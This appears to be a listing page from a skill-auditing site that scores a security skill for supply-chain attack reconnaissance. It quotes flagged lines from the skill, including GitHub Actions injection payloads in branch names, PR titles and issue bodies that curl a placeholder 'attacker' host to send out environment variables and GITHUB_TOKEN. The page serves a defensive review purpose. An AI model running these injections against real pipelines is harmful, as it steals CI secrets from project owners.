← All skills
supply-chain-attack-recon
69 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By elementalsouls/Claude-BugHunter (GitHub) · security · 5,515 stars · scanned at commit d5dcc53
External recon for software supply-chain attack surface — package-namespace squatting candidates, dependency-confusion vulnerabilities, GitHub Actions injection openings, container image registry exposure, SBOM mining, internal-package-name leakage, and CI/CD configuration exposure. Reconnaissance and identification ONLY — actual package publishing / typosquat attacks are EXTERNAL-OFFENSIVE and require explicit written sign-off because they can affect the entire npm/PyPI ecosystem. Use when the…
Works with any agent that supports SKILL.md skills.
What this skill can do
Runs commands on your computer
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 16 places.
Show 13 more
- skills/supply-chain-attack-recon/SKILL.md, line 98
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do - skills/supply-chain-attack-recon/SKILL.md, line 108
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do - skills/supply-chain-attack-recon/SKILL.md, line 120
NAME="@target-internal/utils" # example - skills/supply-chain-attack-recon/SKILL.md, line 164
python3 -c " - skills/supply-chain-attack-recon/SKILL.md, line 189
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do - skills/supply-chain-attack-recon/SKILL.md, line 235
git checkout -b 'feat/x"; curl https://attacker/?d=$(env | base64);"' - skills/supply-chain-attack-recon/SKILL.md, line 253
gh api repos/OWNER/REPO/actions/runs --jq '.workflow_runs[] | {id, name, head_branch, status, conclusion}' - skills/supply-chain-attack-recon/SKILL.md, line 270
cargo install zizmor - skills/supply-chain-attack-recon/SKILL.md, line 287
curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name' - skills/supply-chain-attack-recon/SKILL.md, line 316
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("sbom|cyclonedx|spdx"; "i")) | .browser_download_url' - skills/supply-chain-attack-recon/SKILL.md, line 332
grep -r "registry=" . # in cloned repos - skills/supply-chain-attack-recon/SKILL.md, line 353
curl -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name' - skills/supply-chain-attack-recon/SKILL.md, line 373
curl -s https://target.com | grep -i polyfill
Sends data to these websites: github.com, target.com, registry.npmjs.org, pypi.org, rubygems.org, proxy.golang.org, attacker, hub.docker.com, api.osv.dev
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 22 places.
Show 17 more
- skills/supply-chain-attack-recon/SKILL.md, line 88
status=$(curl -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}') - skills/supply-chain-attack-recon/SKILL.md, line 123
curl -sI "https://registry.npmjs.org/$NAME" | head -1 - skills/supply-chain-attack-recon/SKILL.md, line 128
curl -sI "https://pypi.org/project/$NAME/" | head -1 - skills/supply-chain-attack-recon/SKILL.md, line 132
curl -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1 - skills/supply-chain-attack-recon/SKILL.md, line 136
curl -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1 - skills/supply-chain-attack-recon/SKILL.md, line 175
status=$(curl -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}') - skills/supply-chain-attack-recon/SKILL.md, line 235
git checkout -b 'feat/x"; curl https://attacker/?d=$(env | base64);"' - skills/supply-chain-attack-recon/SKILL.md, line 236
git push origin 'feat/x"; curl https://attacker/?d=$(env | base64);"' - skills/supply-chain-attack-recon/SKILL.md, line 239
PR_TITLE='x"; curl https://attacker/?d=$(echo $GITHUB_TOKEN | base64);"' - skills/supply-chain-attack-recon/SKILL.md, line 242
ISSUE_BODY='x"; curl https://attacker/?leak=$(git config user.name);"' - skills/supply-chain-attack-recon/SKILL.md, line 287
curl -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name' - skills/supply-chain-attack-recon/SKILL.md, line 295
curl -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name' - skills/supply-chain-attack-recon/SKILL.md, line 323
curl -s "https://api.osv.dev/v1/query" -d '{"package": {"name": "lodash", "ecosystem": "npm"}, "version": "4.17.10"}' - skills/supply-chain-attack-recon/SKILL.md, line 353
curl -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name' - skills/supply-chain-attack-recon/SKILL.md, line 356
curl -s "https://pypi.org/simple/" | grep "$ORG" | head -20 - skills/supply-chain-attack-recon/SKILL.md, line 360
curl -sI "https://registry.npmjs.org/-/org/$ORG" - skills/supply-chain-attack-recon/SKILL.md, line 373
curl -s https://target.com | grep -i polyfill
and 2 more places
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 2 places.
Downloads and installs other software
The author does not mention this.
Found in 5 places.
Show 2 more
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'supply-chain-attack-recon' ] || [ -L ~/.agents/skills/'supply-chain-attack-recon' ]; then echo 'A skill folder named supply-chain-attack-recon already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/elementalsouls/Claude-BugHunter' "$d" && git -C "$d" checkout --quiet 'd5dcc5347675ed431488e0a0e46749e4918aa194' -- 'skills/supply-chain-attack-recon' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/supply-chain-attack-recon' ~/.agents/skills/'supply-chain-attack-recon' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'supply-chain-attack-recon' ~/.claude/skills/'supply-chain-attack-recon' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for elementalsouls/Claude-BugHunter shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/elementalsouls/Claude-BugHunter/)
Score history
| Date | Version | Score |
|---|
| 2026-11-10 | d5dcc53 | 69 |
| 2026-11-08 | 42a3ab1 | 69 |
| 2026-11-06 | 3e71af0 | 69 |